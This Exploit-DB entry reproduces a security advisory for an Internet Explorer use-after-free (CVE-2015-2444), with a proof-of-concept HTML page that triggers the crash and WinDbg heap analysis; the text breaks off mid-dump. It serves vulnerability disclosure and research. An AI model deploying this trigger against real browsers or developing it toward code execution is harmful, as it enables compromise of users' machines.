Exploit-DB #37764
Description: Microsoft Internet Explorer - CTreeNode::GetCascadedLang Use-After-Free (MS15-079)
Type: dos
Platform: windows
Date: 2015-08-12
Author: Blue Frost Security GmbH

Exploit:
<!--
Blue Frost Security GmbH
https://www.bluefrostsecurity.de/               research(at)bluefrostsecurity.de
BFS-SA-2015-001                                                   12-August-2015
________________________________________________________________________________

Vendor:                 Microsoft, http://www.microsoft.com
Affected Products:      Internet Explorer
Affected Version:       IE 8-11
Vulnerability:          CTreeNode::GetCascadedLang Use-After-Free Vulnerability
CVE ID:                 CVE-2015-2444
________________________________________________________________________________

I.   Impact

If an attacker succeeds in bypassing the Memory Protector and Isolated Heap
protection mechanisms this vulnerability allows the execution of arbitrary
code on vulnerable installations of Microsoft Internet Explorer. User
interaction is required to exploit this vulnerability in that the target must
visit a malicious page or open a malicious file.

________________________________________________________________________________

II.  Vulnerability Details

Microsoft Internet Explorer 11 is prone to a use-after-free vulnerability in
the MSHTML!CTreeNode::GetCascadedLang function. The following analysis was
performed on Internet Explorer 11 on Windows 8.1 (x64).

The following HTML page demonstrates the problem:
-->

<!DOCTYPE HTML>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=10" />
<script>
	function Trigger() {
		for(i=0; i < document.getElementsByTagName("meter").length; i++) {
			document.getElementsByTagName("meter")[i].innerText = "a";
		}
	}
	function reload() {
		location.reload();
	}
	setTimeout("reload()", 1000);
</script>
<button><label><style>label{}</style><form>
<meter>label<optgroup><meter>fieldset<script>Trigger();</script></meter>
<select></select><button></button><form><form>
<input><script>Trigger();</script>
<form><style>form{-ms-behavior: url("c");}</style></form>
</html>

<!--
With page heap enabled, visiting that page results in the following crash:

(7c0.408): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\MSHTML.dll - 
eax=00000000 ebx=12698fa0 ecx=0000ffff edx=00000100 esi=00000000 edi=12696fb8
eip=6fea5a44 esp=0a75ba18 ebp=0a75ba38 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
MSHTML!CreateCoreWebView+0x1e0234:
6fea5a44 81b[PII_REDACTED]06ffb6f cmp dword ptr [eax+328h],offset MSHTML!CreateCoreWebView+0x2f1740 (6ffb6f50) ds:002b:00000328=????????

0:005> ub
MSHTML!CTreeNode::GetCascadedLang+0x5f:
6fea5a2b 8945f8          mov     dword ptr [ebp-8],eax
6fea5a2e 8945f0          mov     dword ptr [ebp-10h],eax
6fea5a31 8b4710          mov     eax,dword ptr [edi+10h]
6fea5a34 85c0            test    eax,eax
6fea5a36 740a            je      MSHTML!CTreeNode::GetCascadedLang+0x76 (6fea5a42)
6fea5a38 f6400c04        test    byte ptr [eax+0Ch],4
6fea5a3c 0f859a020000    jne     MSHTML!CTreeNode::GetCascadedLang+0x30f (6fea5cdc)
6fea5a42 8b07            mov     eax,dword ptr [edi]

0:005> !heap -p -a edi+10
    address 12696fc8 found in
    _DPH_HEAP_ROOT @ a961000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 a9646e8:         12696fb8               48 -         12696000             2000
    71e694ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    779057b7 ntdll!RtlDebugAllocateHeap+0x0000003c
    778a77ce ntdll!RtlpAllocateHeap+0x0004665a
    77861134 ntdll!RtlAllocateHeap+0x0000014d
    6fa31dd5 MSHTML!CLabelElement::CreateElement+0x00000015
    6f8a5b4d MSHTML!CreateElement+0x00000084
    6fa14768 MSHTML!CInBodyInsertionMode::DefaultStartElementHandler+0x00000078
    6f91d6eb MSHTML!CInsertionMode::HandleStartElementToken+0x0000003d
    6f91d3a3 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026
    6f91d338 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5
    6f91d1cc MSHTML!CHtml5Tokenizer::TagName_StateHandler+0x0000028c
    6f91ab35 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c
    6f91ae09 MSHTML!CHtml5Parse::ParseToken+0x00000131
    6f91a377 MSHTML!CHtmPost::ProcessTokens+0x000006af
    6f914952 MSHTML!CHtmPost::Exec+0x000001e4
    6f991118 MSHTML!CHtmPost::Run+0x0000003d
    6f99107e MSHTML!PostManExecute+0x00000061
    6f9994a2 MSHTML!PostManResume+0x0000007b
    6f9b04f7 MSHTML!CDwnChan::OnMethodCall+0x0000003e
    6f7fd865 MSHTML!GlobalWndOnMethodCall+0x0000016d
    6f7fd18a MSHTML!GlobalWndProc+0x000002e5
    75a68e71 user32!_InternalCallWinProc+0x0000002b
    75a690d1 user32!UserCallWinProcCheckWow+0x0000018e
    75a6a66f user32!DispatchMessageWorker+0x00000208
    75a6a6e0 user32!DispatchMessageW+0x00000010
    710600d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
    7108d0d8 IEFRAME!LCIETab_ThreadProc+0x0000037b
    71c7d81c iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
    70ef3991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
    755f7c04 KERNEL32!BaseThreadInitThunk+0x00000024
    7787ad1f ntdll!__RtlUserThreadStart+0x0000002f
    7787acea ntdll!_RtlUserThreadStart+0x0000001b

0:005> db edi+10
12696fc8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
12696fd8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
12696fe8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
12696ff8  00 00 00 00 00 00 00 00-?? ?? ?? ?? ?? ?? ?? ??  ........????????
12697008  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
12697018  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
12697028  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ??